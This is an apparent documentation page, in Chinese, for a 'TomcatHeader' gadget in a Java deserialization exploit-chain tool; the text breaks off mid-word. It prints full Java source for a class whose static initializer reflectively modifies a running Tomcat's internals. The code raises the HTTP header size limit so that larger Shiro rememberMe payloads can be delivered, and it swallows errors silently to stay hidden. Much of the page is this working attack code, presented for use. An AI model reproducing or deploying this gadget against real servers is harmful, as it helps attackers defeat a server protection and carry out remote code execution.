Skip to content

Latest commit

 

History

History
121 lines (99 loc) · 8.6 KB

File metadata and controls

121 lines (99 loc) · 8.6 KB

修改TomcatHeader长度限制(TomcatHeader)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:Ar3h
  • 依赖:无(运行期依赖目标进程内已存在的 Tomcat catalina/coyote 类)

作用

生成一段"运行期改写 Tomcat HTTP 请求头长度上限"的字节码 sink。字节码被目标加载后,反射进入正在运行的 Tomcat 内部结构,把 HTTP/1.1 连接的 headerBufferSize(默认 8192 字节,即 8KB)改写为用户指定的 length(默认 50000),并同步调用 AbstractHttp11Protocol.setMaxHttpHeaderSize。其目的是绕过 Header 头长度限制:在 Shiro 等经由请求头(如 Cookie: rememberMe=...)投递大体积序列化 payload 的场景下,原始 payload 常超过 8KB 而被 Tomcat 直接拒绝;先用一个较小的链把请求头上限抬高,后续更大的利用 payload 便能顺利通过。属链尾字节码 sink(END)。

链接标签

  • 入口 tagsBytecodeTomcatEND
    • Bytecode:本 gadget 产出原始类字节码(byte[]),需上游装载器(如 BytecodeConvert 装入 TemplatesImpl)触发 defineClass 才会执行。
    • Tomcat:标注其目标运行环境为 Tomcat,原理强依赖 catalina/coyote 内部字段与类结构。
    • END:链的终点,自身即最终产物,其后不再衔接更内层的 gadget。
  • 衔接 nextTags:空(作为 END sink 无下游)。
  • excludes:空。

源码剖析

一、gadget 本体:把参数烘焙进模板类

TomcatHeader 只做一件事——用 JavassistHelper 把用户配置的 length 写进模板类 TomcatHeaderBytecode 的静态字段,再导出该类的字节码:

@Param(name="需要修改修改header头限制长度")
public String length = "50000";

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(TomcatHeaderBytecode.class);
    javassistHelper.modifyStringField("length", this.length);   // 把 length 注入模板静态字段
    return javassistHelper.getBytecode();                        // 导出改写后的类字节码
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // END 环:不消费内层对象,仅完成链契约
    return this.getObject();
}

invoke 中虽调用了 chain.doCreate(context),但并不使用其返回值——因为本 gadget 是 END,没有更内层对象需要包装;它直接返回自产的字节码。modifyStringField("length", ...) 通过 Javassist 把字符串常量写死进模板类的 static String length 字段,从而使生成的字节码"自带"目标长度值,无需运行期再传参。

二、模板类:字节码被加载即触发的攻击逻辑

TomcatHeaderBytecode 的静态初始化块 new TomcatHeaderBytecode() 保证——只要该类被 defineClass 加载(例如经 TemplatesImpl 实例化触发类初始化),构造函数就立即执行,无需任何显式调用。构造函数即全部攻击逻辑:

public static String length;

public TomcatHeaderBytecode() {
    int headerLength = Integer.parseInt(length);
    try {
        // 1) 预取 Tomcat 内部私有字段/方法句柄
        Field contextField    = StandardContext.class.getDeclaredField("context");     // -> ApplicationContext
        Field serviceField    = ApplicationContext.class.getDeclaredField("service");  // -> StandardService
        Field requestField    = RequestInfo.class.getDeclaredField("req");             // -> coyote.Request
        Field headerSizeField = Http11InputBuffer.class.getDeclaredField("headerBufferSize");
        Method getHandlerMethod = AbstractProtocol.class.getDeclaredMethod("getHandler", null);
        contextField.setAccessible(true); headerSizeField.setAccessible(true);
        serviceField.setAccessible(true); requestField.setAccessible(true);
        getHandlerMethod.setAccessible(true);

        // 2) 从当前线程上下文类加载器逐级向上,取到 StandardService
        WebappClassLoaderBase webappClassLoaderBase =
            (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        ApplicationContext applicationContext =
            (ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
        StandardService standardService = (StandardService) serviceField.get(applicationContext);

        // 3) 遍历所有 Connector,锁定 scheme=="http"(长度 4) 且协议为 AbstractHttp11Protocol 的连接器
        Connector[] connectors = standardService.findConnectors();
        for (int i = 0; i < connectors.length; ++i) {
            ProtocolHandler protocolHandler;
            if (4 != connectors[i].getScheme().length()
                || !((protocolHandler = connectors[i].getProtocolHandler()) instanceof AbstractHttp11Protocol))
                continue;

            // 4) 通过 AbstractProtocol 的内部类 ConnectionHandler(按类名长度 52/60 识别)
            //    取到 global(RequestGroupInfo) -> processors 列表
            Class<?>[] classes = AbstractProtocol.class.getDeclaredClasses();
            for (int j = 0; j < classes.length; ++j) {
                if (52 != classes[j].getName().length() && 60 != classes[j].getName().length()) continue;
                Field globalField     = classes[j].getDeclaredField("global");
                Field processorsField = RequestGroupInfo.class.getDeclaredField("processors");
                globalField.setAccessible(true); processorsField.setAccessible(true);
                RequestGroupInfo requestGroupInfo =
                    (RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                List list = (List) processorsField.get(requestGroupInfo);

                // 5) 对每个已注册的 RequestInfo,取其 coyote.Request,改写其 InputBuffer 的 headerBufferSize
                for (int k = 0; k < list.size(); ++k) {
                    Request tempRequest = (Request) requestField.get(list.get(k));
                    headerSizeField.set(tempRequest.getInputBuffer(), headerLength);
                }
            }
            // 6) 同步改写协议层的上限,影响后续新建连接
            ((AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(headerLength);
        }
    } catch (Exception exception) {
        // 静默吞异常:环境不匹配时不影响宿主进程
    }
}

static { new TomcatHeaderBytecode(); }

逐段说明:

  • 反射路径(步骤 2):以 Thread.currentThread().getContextClassLoader() 为起点强转 WebappClassLoaderBasegetResources().getContext()StandardContext)→ 私有字段 contextApplicationContext)→ 私有字段 serviceStandardService)。这是 Tomcat 内存马/运行期改写常用的"从类加载器爬到 Service 根"的固定套路。
  • Connector 筛选(步骤 3)4 != getScheme().length() 用字符串长度筛出 scheme 恰为 "http"(4 个字符)的连接器,排除 "https"(5)/"ajp"(3);再要求 ProtocolHandlerAbstractHttp11Protocol
  • 内部类识别(步骤 4)AbstractProtocol 的内部类 ConnectionHandler 在不同 Tomcat 版本下全限定名长度为 52 或 60(org.apache.coyote.AbstractProtocol$ConnectionHandler 等),用类名长度做启发式匹配以兼容多版本;取其静态字段 globalRequestGroupInfo)再取 processors 列表。
  • 双重改写(步骤 5、6):一方面对已存在的每个 RequestInfo → Request → InputBuffer 反射写 headerBufferSize(影响复用中的处理器对象);另一方面调用 setMaxHttpHeaderSize 抬高协议层上限(影响后续新建的处理器)。两者结合尽量保证下一个大 payload 请求不再被 8KB 上限截断。
  • 静默 catch:整段包裹在 try/catch 中并吞掉异常——非 Tomcat 或版本不符时不会让宿主进程崩溃,保持隐蔽。

参数(@Param)

字段 名称 说明 默认 类型 可选值
length 需要修改修改header头限制长度 目标 Tomcat HTTP/1.1 连接的新 header 缓冲上限(字节),会被烘焙进模板并在加载时以 Integer.parseInt 解析 50000 String 无(自由填写)

注:length 为字符串类型,模板内 Integer.parseInt(length) 解析;填非数字会在构造函数内抛异常并被静默吞掉,导致改写不生效。

适用版本与原理要点

  • 目标环境:Apache Tomcat(catalina + coyote,Http11 协议)。原理强依赖 StandardContext.context、`ApplicationCont